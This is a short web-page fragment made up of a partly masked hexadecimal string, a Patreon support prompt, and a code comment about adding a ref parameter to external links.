    b7ac74b06********************

    Liked it? Take a second to support me on Patreon!
    Become a patron at Patreon!
    // Add the ref parameter to external links